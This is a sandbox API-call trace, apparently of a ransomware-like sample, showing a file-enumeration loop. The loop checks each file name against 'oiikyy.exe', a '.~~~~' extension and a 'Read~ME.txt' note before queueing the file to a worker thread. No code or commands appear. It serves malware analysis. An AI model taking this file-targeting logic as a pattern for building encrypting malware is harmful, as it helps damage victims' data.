	[0085.595] StrStrW (lpFirst="J0285792.WMF", lpSrch=".~~~~") returned 0x0
	[0085.595] lstrcmpW (lpString1="J0285792.WMF", lpString2="Read~ME.txt") returned -1
	[0085.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.595] GetCurrentThreadId () returned 0x618
	[0085.595] RtlWakeConditionVariable () returned 0x365f48
	[0085.595] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1
	[0085.595] lstrcmpiW (lpString1="J0285796.WMF", lpString2="Windows") returned -1
	[0085.596] lstrcmpW (lpString1="J0285796.WMF", lpString2="oiikyy.exe") returned -1
	[0085.596] StrStrW (lpFirst="J0285796.WMF", lpSrch=".~~~~") returned 0x0
	[0085.596] lstrcmpW (lpString1="J0285796.WMF", lpString2="Read~ME.txt") returned -1
	[0085.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.596] GetCurrentThreadId () returned 0x618
	[0085.596] RtlWakeConditionVariable () returned 0x365f48
	[0085.596] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1
	[0085.596] lstrcmpiW (lpString1="J0285808.WMF", lpString2="Windows") returned -1
	[0085.596] lstrcmpW (lpString1="J0285808.WMF", lpString2="oiikyy.exe") returned -1
	[0085.596] StrStrW (lpFirst="J0285808.WMF", lpSrch=".~~~~") returned 0x0
	[0085.596] lstrcmpW (lpString1="J0285808.WMF", lpString2="Read~ME.txt") returned -1
	[0085.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.596] GetCurrentThreadId () returned 0x618
	[0085.596] RtlWakeConditionVariable () returned 0x365f48
	[0085.596] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1
	[0085.596] lstrcmpiW (lpString1="J0285820.WMF", lpString2="Windows") returned -1
	[0085.596] lstrcmpW (lpString1="J0285820.WMF", lpString2="oiikyy.exe") returned -1
	[0085.596] StrStrW (lpFirst="J0285820.WMF", lpSrch=".~~~~") returned 0x0
	[0085.596] lstrcmpW (lpString1="J0285820.WMF", lpString2="Read~ME.txt") returned -1
	[0085.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.596] GetCurrentThreadId () returned 0x618
	[0085.596] RtlWakeConditionVariable () returned 0x365f48
	[0085.596] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1
	[0085.596] lstrcmpiW (lpString1="J0285822.WMF", lpString2="Windows") returned -1
	[0085.597] lstrcmpW (lpString1="J0285822.WMF", lpString2="oiikyy.exe") returned -1
	[0085.597] StrStrW (lpFirst="J0285822.WMF", lpSrch=".~~~~") returned 0x0
	[0085.597] lstrcmpW (lpString1="J0285822.WMF", lpString2="Read~ME.txt") returned -1
	[0085.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.597] GetCurrentThreadId () returned 0x618
	[0085.597] RtlWakeConditionVariable () returned 0x365f48
	[0085.597] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1
	[0085.891] lstrcmpiW (lpString1="J0287018.WMF", lpString2="Windows") returned -1
	[0085.891] lstrcmpW (lpString1="J0287018.WMF", lpString2="oiikyy.exe") returned -1
	[0085.891] StrStrW (lpFirst="J0287018.WMF", lpSrch=".~~~~") returned 0x0
	[0085.891] lstrcmpW (lpString1="J0287018.WMF", lpString2="Read~ME.txt") returned -1
	[0085.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.891] GetCurrentThreadId () returned 0x618
	[0085.891] RtlWakeConditionVariable () returned 0x365f48
	[0085.892] lstrcmpiW (lpString1="J0287019.WMF", lpString2="Windows") returned -1
	[0085.892] lstrcmpW (lpString1="J0287019.WMF", lpString2="oiikyy.exe") returned -1
	[0085.892] StrStrW (lpFirst="J0287019.WMF", lpSrch=".~~~~") returned 0x0
	[0085.892] lstrcmpW (lpString1="J0287019.WMF", lpString2="Read~ME.txt") returned -1
	[0085.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.892] GetCurrentThreadId () returned 0x618
	[0085.892] RtlWakeConditionVariable () returned 0x365f48
	[0085.892] lstrcmpiW (lpString1="J0287020.WMF", lpString2="Windows") returned -1
	[0085.892] lstrcmpW (lpString1="J0287020.WMF", lpString2="oiikyy.exe") returned -1
	[0085.892] StrStrW (lpFirst="J0287020.WMF", lpSrch=".~~~~") returned 0x0
	[0085.892] lstrcmpW (lpString1="J0287020.WMF", lpString2="Read~ME.txt") returned -1
	[0085.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.892] GetCurrentThreadId () returned 0x618
	[0085.892] RtlWakeConditionVariable () returned 0x365f48
	[0085.898] lstrcmpiW (lpString1="J0287024.WMF", lpString2="Windows") returned -1
	[0085.898] lstrcmpW (lpString1="J0287024.WMF", lpString2="oiikyy.exe") returned -1
	[0085.899] StrStrW (lpFirst="J0287024.WMF", lpSrch=".~~~~") returned 0x0
	[0085.899] lstrcmpW (lpString1="J0287024.WMF", lpString2="Read~ME.txt") returned -1
	[0085.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.899] GetCurrentThreadId () returned 0x618
	[0085.899] RtlWakeConditionVariable () returned 0x365f48
	[0085.899] lstrcmpiW (lpString1="J0287408.WMF", lpString2="Windows") returned -1
	[0085.899] lstrcmpW (lpString1="J0287408.WMF", lpString2="oiikyy.exe") returned -1
	[0085.899] StrStrW (lpFirst="J0287408.WMF", lpSrch=".~~~~") returned 0x0
	[0085.899] lstrcmpW (lpString1="J0287408.WMF", lpString2="Read~ME.txt") returned -1
	[0085.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.899] GetCurrentThreadId () returned 0x618
	[0085.899] RtlWakeConditionVariable () returned 0x365f48
	[0085.899] lstrcmpiW (lpString1="J0287415.WMF", lpString2="Windows") returned -1
	[0085.899] lstrcmpW (lpString1="J0287415.WMF", lpString2="oiikyy.exe") returned -1
	[0085.899] StrStrW (lpFirst="J0287415.WMF", lpSrch=".~~~~") returned 0x0
	[0085.899] lstrcmpW (lpString1="J0287415.WMF", lpString2="Read~ME.txt") returned -1
	[0085.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.899] GetCurrentThreadId () returned 0x618
	[0085.899] RtlWakeConditionVariable () returned 0x365f48
	[0085.899] lstrcmpiW (lpString1="J0287417.WMF", lpString2="Windows") returned -1
	[0085.899] lstrcmpW (lpString1="J0287417.WMF", lpString2="oiikyy.exe") returned -1
	[0085.899] StrStrW (lpFirst="J0287417.WMF", lpSrch=".~~~~") returned 0x0
	[0085.900] lstrcmpW (lpString1="J0287417.WMF", lpString2="Read~ME.txt") returned -1
	[0085.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.900] GetCurrentThreadId () returned 0x618
	[0085.900] RtlWakeConditionVariable () returned 0x365f48
	[0085.900] lstrcmpiW (lpString1="J0287641.JPG", lpString2="Windows") returned -1
	[0085.900] lstrcmpW (lpString1="J0287641.JPG", lpString2="oiikyy.exe") returned -1
	[0085.900] StrStrW (lpFirst="J0287641.JPG", lpSrch=".~~~~") returned 0x0
	[0085.900] lstrcmpW (lpString1="J0287641.JPG", lpString2="Read~ME.txt") returned -1
	[0085.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.900] GetCurrentThreadId () returned 0x618
	[0085.900] RtlWakeConditionVariable () returned 0x365f48
	[0085.900] lstrcmpiW (lpString1="J0287642.JPG", lpString2="Windows") returned -1
	[0085.900] lstrcmpW (lpString1="J0287642.JPG", lpString2="oiikyy.exe") returned -1
	[0085.900] StrStrW (lpFirst="J0287642.JPG", lpSrch=".~~~~") returned 0x0
	[0085.900] lstrcmpW (lpString1="J0287642.JPG", lpString2="Read~ME.txt") returned -1
	[0085.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.900] GetCurrentThreadId () returned 0x618
	[0085.900] RtlWakeConditionVariable () returned 0x365f48
	[0085.900] lstrcmpiW (lpString1="J0287643.JPG", lpString2="Windows") returned -1
	[0085.900] lstrcmpW (lpString1="J0287643.JPG", lpString2="oiikyy.exe") returned -1
	[0085.900] StrStrW (lpFirst="J0287643.JPG", lpSrch=".~~~~") returned 0x0
	[0085.900] lstrcmpW (lpString1="J0287643.JPG", lpString2="Read~ME.txt") returned -1
	[0085.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.901] GetCurrentThreadId () returned 0x618
	[0085.901] RtlWakeConditionVariable () returned 0x365f48
	[0085.901] lstrcmpiW (lpString1="J0287644.JPG", lpString2="Windows") returned -1
	[0085.901] lstrcmpW (lpString1="J0287644.JPG", lpString2="oiikyy.exe") returned -1
	[0085.901] StrStrW (lpFirst="J0287644.JPG", lpSrch=".~~~~") returned 0x0
	[0085.901] lstrcmpW (lpString1="J0287644.JPG", lpString2="Read~ME.txt") returned -1
	[0085.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.901] GetCurrentThreadId () returned 0x618
	[0085.901] RtlWakeConditionVariable () returned 0x365f48
	[0085.901] lstrcmpiW (lpString1="J0287645.JPG", lpString2="Windows") returned -1
	[0085.901] lstrcmpW (lpString1="J0287645.JPG", lpString2="oiikyy.exe") returned -1
	[0085.901] StrStrW (lpFirst="J0287645.JPG", lpSrch=".~~~~") returned 0x0
	[0085.901] lstrcmpW (lpString1="J0287645.JPG", lpString2="Read~ME.txt") returned -1
	[0085.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.901] GetCurrentThreadId () returned 0x618
	[0085.901] RtlWakeConditionVariable () returned 0x365f48
	[0085.901] lstrcmpiW (lpString1="J0289430.JPG", lpString2="Windows") returned -1
	[0085.901] lstrcmpW (lpString1="J0289430.JPG", lpString2="oiikyy.exe") returned -1
	[0085.901] StrStrW (lpFirst="J0289430.JPG", lpSrch=".~~~~") returned 0x0
	[0085.901] lstrcmpW (lpString1="J0289430.JPG", lpString2="Read~ME.txt") returned -1
	[0085.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.901] GetCurrentThreadId () returned 0x618
	[0085.901] RtlWakeConditionVariable () returned 0x365f48
	[0085.902] lstrcmpiW (lpString1="J0290548.WMF", lpString2="Windows") returned -1
	[0085.902] lstrcmpW (lpString1="J0290548.WMF", lpString2="oiikyy.exe") returned -1
	[0085.902] StrStrW (lpFirst="J0290548.WMF", lpSrch=".~~~~") returned 0x0
	[0085.902] lstrcmpW (lpString1="J0290548.WMF", lpString2="Read~ME.txt") returned -1
	[0085.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.902] GetCurrentThreadId () returned 0x618
	[0085.902] RtlWakeConditionVariable () returned 0x365f48
	[0085.916] lstrcmpiW (lpString1="J0291794.WMF", lpString2="Windows") returned -1
	[0085.916] lstrcmpW (lpString1="J0291794.WMF", lpString2="oiikyy.exe") returned -1
	[0085.916] StrStrW (lpFirst="J0291794.WMF", lpSrch=".~~~~") returned 0x0
	[0085.916] lstrcmpW (lpString1="J0291794.WMF", lpString2="Read~ME.txt") returned -1
	[0085.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.916] GetCurrentThreadId () returned 0x618
	[0085.916] RtlWakeConditionVariable () returned 0x365f48
	[0085.916] lstrcmpiW (lpString1="J0292248.WMF", lpString2="Windows") returned -1
	[0085.916] lstrcmpW (lpString1="J0292248.WMF", lpString2="oiikyy.exe") returned -1
	[0085.916] StrStrW (lpFirst="J0292248.WMF", lpSrch=".~~~~") returned 0x0
	[0085.916] lstrcmpW (lpString1="J0292248.WMF", lpString2="Read~ME.txt") returned -1
	[0085.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.916] GetCurrentThreadId () returned 0x618
	[0085.916] RtlWakeConditionVariable () returned 0x365f48
	[0085.916] lstrcmpiW (lpString1="J0292270.WMF", lpString2="Windows") returned -1
	[0085.916] lstrcmpW (lpString1="J0292270.WMF", lpString2="oiikyy.exe") returned -1
	[0085.916] StrStrW (lpFirst="J0292270.WMF", lpSrch=".~~~~") returned 0x0
	[0085.916] lstrcmpW (lpString1="J0292270.WMF", lpString2="Read~ME.txt") returned -1
	[0085.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.916] GetCurrentThreadId () returned 0x618
	[0085.917] RtlWakeConditionVariable () returned 0x365f48
	[0085.917] lstrcmpiW (lpString1="J0292272.WMF", lpString2="Windows") returned -1
	[0085.917] lstrcmpW (lpString1="J0292272.WMF", lpString2="oiikyy.exe") returned -1
	[0085.917] StrStrW (lpFirst="J0292272.WMF", lpSrch=".~~~~") returned 0x0
	[0085.917] lstrcmpW (lpString1="J0292272.WMF", lpString2="Read~ME.txt") returned -1
	[0085.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.917] GetCurrentThreadId () returned 0x618
	[0085.917] RtlWakeConditionVariable () returned 0x365f48
	[0085.917] lstrcmpiW (lpString1="J0292278.WMF", lpString2="Windows") returned -1
	[0085.917] lstrcmpW (lpString1="J0292278.WMF", lpString2="oiikyy.exe") returned -1
	[0085.917] StrStrW (lpFirst="J0292278.WMF", lpSrch=".~~~~") returned 0x0
	[0085.917] lstrcmpW (lpString1="J0292278.WMF", lpString2="Read~ME.txt") returned -1
	[0085.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.917] GetCurrentThreadId () returned 0x618
	[0085.917] RtlWakeConditionVariable () returned 0x365f48
	[0085.917] lstrcmpiW (lpString1="J0292286.WMF", lpString2="Windows") returned -1
	[0085.917] lstrcmpW (lpString1="J0292286.WMF", lpString2="oiikyy.exe") returned -1
	[0085.917] StrStrW (lpFirst="J0292286.WMF", lpSrch=".~~~~") returned 0x0
	[0085.918] lstrcmpW (lpString1="J0292286.WMF", lpString2="Read~ME.txt") returned -1
	[0085.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.918] GetCurrentThreadId () returned 0x618
	[0085.918] RtlWakeConditionVariable () returned 0x365f48
	[0085.918] lstrcmpiW (lpString1="J0293800.WMF", lpString2="Windows") returned -1
	[0085.918] lstrcmpW (lpString1="J0293800.WMF", lpString2="oiikyy.exe") returned -1
	[0085.918] StrStrW (lpFirst="J0293800.WMF", lpSrch=".~~~~") returned 0x0
	[0085.918] lstrcmpW (lpString1="J0293800.WMF", lpString2="Read~ME.txt") returned -1
	[0085.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.918] GetCurrentThreadId () returned 0x618
	[0085.918] RtlWakeConditionVariable () returned 0x365f48
	[0085.918] lstrcmpiW (lpString1="J0293832.WMF", lpString2="Windows") returned -1
	[0085.918] lstrcmpW (lpString1="J0293832.WMF", lpString2="oiikyy.exe") returned -1
	[0085.918] StrStrW (lpFirst="J0293832.WMF", lpSrch=".~~~~") returned 0x0
	[0085.919] lstrcmpW (lpString1="J0293832.WMF", lpString2="Read~ME.txt") returned -1
	[0085.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.919] GetCurrentThreadId () returned 0x618
	[0085.919] RtlWakeConditionVariable () returned 0x365f48
	[0085.919] lstrcmpiW (lpString1="J0294989.WMF", lpString2="Windows") returned -1
	[0085.919] lstrcmpW (lpString1="J0294989.WMF", lpString2="oiikyy.exe") returned -1
	[0085.919] StrStrW (lpFirst="J0294989.WMF", lpSrch=".~~~~") returned 0x0
	[0085.919] lstrcmpW (lpString1="J0294989.WMF", lpString2="Read~ME.txt") returned -1
	[0085.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.919] GetCurrentThreadId () returned 0x618
	[0085.919] RtlWakeConditionVariable () returned 0x365f48
	[0085.919] lstrcmpiW (lpString1="J0294991.WMF", lpString2="Windows") returned -1
	[0085.919] lstrcmpW (lpString1="J0294991.WMF", lpString2="oiikyy.exe") returned -1
	[0085.919] StrStrW (lpFirst="J0294991.WMF", lpSrch=".~~~~") returned 0x0
	[0085.919] lstrcmpW (lpString1="J0294991.WMF", lpString2="Read~ME.txt") returned -1
	[0085.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.919] GetCurrentThreadId () returned 0x618
	[0085.919] RtlWakeConditionVariable () returned 0x365f48
	[0085.919] lstrcmpiW (lpString1="J0295069.WMF", lpString2="Windows") returned -1
	[0085.919] lstrcmpW (lpString1="J0295069.WMF", lpString2="oiikyy.exe") returned -1
	[0085.919] StrStrW (lpFirst="J0295069.WMF", lpSrch=".~~~~") returned 0x0
	[0085.919] lstrcmpW (lpString1="J0295069.WMF", lpString2="Read~ME.txt") returned -1
	[0085.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.920] GetCurrentThreadId () returned 0x618
	[0085.920] RtlWakeConditionVariable () returned 0x365f48
	[0085.920] lstrcmpiW (lpString1="J0296277.WMF", lpString2="Windows") returned -1
	[0085.920] lstrcmpW (lpString1="J0296277.WMF", lpString2="oiikyy.exe") returned -1
	[0085.920] StrStrW (lpFirst="J0296277.WMF", lpSrch=".~~~~") returned 0x0
	[0085.920] lstrcmpW (lpString1="J0296277.WMF", lpString2="Read~ME.txt") returned -1
	[0085.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.920] GetCurrentThreadId () returned 0x618
	[0085.920] RtlWakeConditionVariable () returned 0x365f48
	[0085.920] lstrcmpiW (lpString1="J0296279.WMF", lpString2="Windows") returned -1
	[0085.920] lstrcmpW (lpString1="J0296279.WMF", lpString2="oiikyy.exe") returned -1
	[0085.920] StrStrW (lpFirst="J0296279.WMF", lpSrch=".~~~~") returned 0x0
	[0085.920] lstrcmpW (lpString1="J0296279.WMF", lpString2="Read~ME.txt") returned -1
	[0085.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.920] GetCurrentThreadId () returned 0x618
	[0085.920] RtlWakeConditionVariable () returned 0x365f48
	[0085.920] lstrcmpiW (lpString1="J0296288.WMF", lpString2="Windows") returned -1
	[0085.920] lstrcmpW (lpString1="J0296288.WMF", lpString2="oiikyy.exe") returned -1
	[0085.920] StrStrW (lpFirst="J0296288.WMF", lpSrch=".~~~~") returned 0x0
	[0085.920] lstrcmpW (lpString1="J0296288.WMF", lpString2="Read~ME.txt") returned -1
	[0085.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.920] GetCurrentThreadId () returned 0x618
	[0085.920] RtlWakeConditionVariable () returned 0x365f48
	[0085.921] lstrcmpiW (lpString1="J0297229.WMF", lpString2="Windows") returned -1
	[0085.921] lstrcmpW (lpString1="J0297229.WMF", lpString2="oiikyy.exe") returned -1
	[0085.921] StrStrW (lpFirst="J0297229.WMF", lpSrch=".~~~~") returned 0x0
	[0085.921] lstrcmpW (lpString1="J0297229.WMF", lpString2="Read~ME.txt") returned -1
	[0085.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.921] GetCurrentThreadId () returned 0x618
	[0085.921] RtlWakeConditionVariable () returned 0x365f48
	[0085.921] lstrcmpiW (lpString1="J0297269.WMF", lpString2="Windows") returned -1
	[0085.921] lstrcmpW (lpString1="J0297269.WMF", lpString2="oiikyy.exe") returned -1
	[0085.921] StrStrW (lpFirst="J0297269.WMF", lpSrch=".~~~~") returned 0x0
	[0085.921] lstrcmpW (lpString1="J0297269.WMF", lpString2="Read~ME.txt") returned -1
	[0085.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.921] GetCurrentThreadId () returned 0x618
	[0085.921] RtlWakeConditionVariable () returned 0x365f48
	[0085.921] lstrcmpiW (lpString1="J0297725.WMF", lpString2="Windows") returned -1
	[0085.921] lstrcmpW (lpString1="J0297725.WMF", lpString2="oiikyy.exe") returned -1
	[0085.921] StrStrW (lpFirst="J0297725.WMF", lpSrch=".~~~~") returned 0x0
	[0085.921] lstrcmpW (lpString1="J0297725.WMF", lpString2="Read~ME.txt") returned -1
	[0085.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.921] GetCurrentThreadId () returned 0x618
	[0085.921] RtlWakeConditionVariable () returned 0x365f48
	[0085.921] lstrcmpiW (lpString1="J0297727.WMF", lpString2="Windows") returned -1
	[0085.921] lstrcmpW (lpString1="J0297727.WMF", lpString2="oiikyy.exe") returned -1
	[0085.922] StrStrW (lpFirst="J0297727.WMF", lpSrch=".~~~~") returned 0x0
	[0085.922] lstrcmpW (lpString1="J0297727.WMF", lpString2="Read~ME.txt") returned -1
	[0085.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.922] GetCurrentThreadId () returned 0x618
	[0085.922] RtlWakeConditionVariable () returned 0x365f48
	[0085.922] lstrcmpiW (lpString1="J0297757.WMF", lpString2="Windows") returned -1
	[0085.922] lstrcmpW (lpString1="J0297757.WMF", lpString2="oiikyy.exe") returned -1
	[0085.922] StrStrW (lpFirst="J0297757.WMF", lpSrch=".~~~~") returned 0x0
	[0085.922] lstrcmpW (lpString1="J0297757.WMF", lpString2="Read~ME.txt") returned -1
	[0085.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.922] GetCurrentThreadId () returned 0x618
	[0085.922] RtlWakeConditionVariable () returned 0x365f48
	[0085.922] lstrcmpiW (lpString1="J0297759.WMF", lpString2="Windows") returned -1
	[0085.922] lstrcmpW (lpString1="J0297759.WMF", lpString2="oiikyy.exe") returned -1
	[0085.922] StrStrW (lpFirst="J0297759.WMF", lpSrch=".~~~~") returned 0x0
	[0085.922] lstrcmpW (lpString1="J0297759.WMF", lpString2="Read~ME.txt") returned -1
	[0085.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.922] GetCurrentThreadId () returned 0x618
	[0085.922] RtlWakeConditionVariable () returned 0x365f48
	[0085.995] lstrcmpiW (lpString1="J0300862.WMF", lpString2="Windows") returned -1
	[0085.995] lstrcmpW (lpString1="J0300862.WMF", lpString2="oiikyy.exe") returned -1
	[0085.995] StrStrW (lpFirst="J0300862.WMF", lpSrch=".~~~~") returned 0x0
	[0086.043] lstrcmpW (lpString1="J0300862.WMF", lpString2="Read~ME.txt") returned -1
	[0086.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.043] GetCurrentThreadId () returned 0x618
	[0086.043] RtlWakeConditionVariable () returned 0x365f48
	[0086.043] lstrcmpiW (lpString1="J0301044.WMF", lpString2="Windows") returned -1
	[0086.043] lstrcmpW (lpString1="J0301044.WMF", lpString2="oiikyy.exe") returned -1
	[0086.043] StrStrW (lpFirst="J0301044.WMF", lpSrch=".~~~~") returned 0x0
	[0086.043] lstrcmpW (lpString1="J0301044.WMF", lpString2="Read~ME.txt") returned -1
	[0086.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.043] GetCurrentThreadId () returned 0x618
	[0086.043] RtlWakeConditionVariable () returned 0x365f48
	[0086.043] lstrcmpiW (lpString1="J0301052.WMF", lpString2="Windows") returned -1
	[0086.043] lstrcmpW (lpString1="J0301052.WMF", lpString2="oiikyy.exe") returned -1
	[0086.044] StrStrW (lpFirst="J0301052.WMF", lpSrch=".~~~~") returned 0x0
	[0086.044] lstrcmpW (lpString1="J0301052.WMF", lpString2="Read~ME.txt") returned -1
	[0086.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.044] GetCurrentThreadId () returned 0x618
	[0086.044] RtlWakeConditionVariable () returned 0x365f48
	[0086.044] lstrcmpiW (lpString1="J0301418.WMF", lpString2="Windows") returned -1
	[0086.044] lstrcmpW (lpString1="J0301418.WMF", lpString2="oiikyy.exe") returned -1
	[0086.044] StrStrW (lpFirst="J0301418.WMF", lpSrch=".~~~~") returned 0x0
	[0086.044] lstrcmpW (lpString1="J0301418.WMF", lpString2="Read~ME.txt") returned -1
	[0086.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.044] GetCurrentThreadId () returned 0x618
	[0086.044] RtlWakeConditionVariable () returned 0x365f48
	[0086.044] lstrcmpiW (lpString1="J0301432.WMF", lpString2="Windows") returned -1
	[0086.044] lstrcmpW (lpString1="J0301432.WMF", lpString2="oiikyy.exe") returned -1
	[0086.044] StrStrW (lpFirst="J0301432.WMF", lpSrch=".~~~~") returned 0x0
	[0086.044] lstrcmpW (lpString1="J0301432.WMF", lpString2="Read~ME.txt") returned -1
	[0086.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.044] GetCurrentThreadId () returned 0x618
	[0086.044] RtlWakeConditionVariable () returned 0x365f48
	[0086.044] lstrcmpiW (lpString1="J0304371.WMF", lpString2="Windows") returned -1
	[0086.044] lstrcmpW (lpString1="J0304371.WMF", lpString2="oiikyy.exe") returned -1
	[0086.044] StrStrW (lpFirst="J0304371.WMF", lpSrch=".~~~~") returned 0x0
	[0086.044] lstrcmpW (lpString1="J0304371.WMF", lpString2="Read~ME.txt") returned -1
	[0086.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.044] GetCurrentThreadId () returned 0x618
	[0086.045] RtlWakeConditionVariable () returned 0x365f48
	[0086.045] lstrcmpiW (lpString1="J0304405.WMF", lpString2="Windows") returned -1
	[0086.045] lstrcmpW (lpString1="J0304405.WMF", lpString2="oiikyy.exe") returned -1
	[0086.045] StrStrW (lpFirst="J0304405.WMF", lpSrch=".~~~~") returned 0x0
	[0086.045] lstrcmpW (lpString1="J0304405.WMF", lpString2="Read~ME.txt") returned -1
